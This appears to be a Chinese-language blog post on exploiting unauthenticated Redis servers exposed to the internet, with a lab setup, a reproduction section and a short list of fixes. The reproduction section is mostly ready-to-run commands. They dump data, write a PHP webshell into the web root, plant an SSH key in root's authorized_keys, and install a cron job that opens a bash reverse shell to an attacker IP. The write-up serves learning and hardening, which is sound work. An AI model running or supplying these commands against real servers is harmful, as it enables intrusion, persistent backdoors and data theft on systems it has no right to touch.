永远新的开始啊
简介
Redis 在某些情况下,绑定在0.0.0.0 暴露公网访问的时候,没有防火墙策略,没有密码认证的情况下,会导致任意目标访问 redis 以及读取写入数据。
利用条件
- 绑定在 0.0.0.0:6379,没有安全策略ip限制,直接暴露在公网
- 没有设置 redis 密码认证,可以免密码登陆
- 高级利用,root 身份运行
复现环境
- centos 7
- redis
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
1 2 3 4 5 6
| cd redis make make install 将redis-cli redis-server 安装到/usr/bin cp redis.conf /etc 修改redis.conf 配置文件 bind 0.0.0.0,关闭密码认证,关闭服务器防火墙 root启动
|
复现过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| 安装 redis-cli yay -S redis redis-cli -h 192.168.56.110 连接redis
**数据泄漏** keys * 获取所有 keys 值
**系统信息** info 获取系统信息,redis版本,系统信息等
**webshell**
set shell "\n\n<?=`$_GET[0]`?>\n\n" \n换行,防止写入数据混乱
config set dir /var/www/html/
config set dbfilename shell.php
save
**写入 SSH 公钥登陆无密码登陆目标系统**
ssh-keygen -t rsa //执行生成key命令
config set dir /root/.ssh/
config set dbfilename authorized_keys
set key "\n\n\生成的公钥n\n"
save
**写入计划任务 crontab 运行命令,获取shell**
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
|
修复方式
- bind 127.0.0.1 只对本地开放
- requirepass password 设置密码认证
- 修改默认端口
- 设置防火墙规则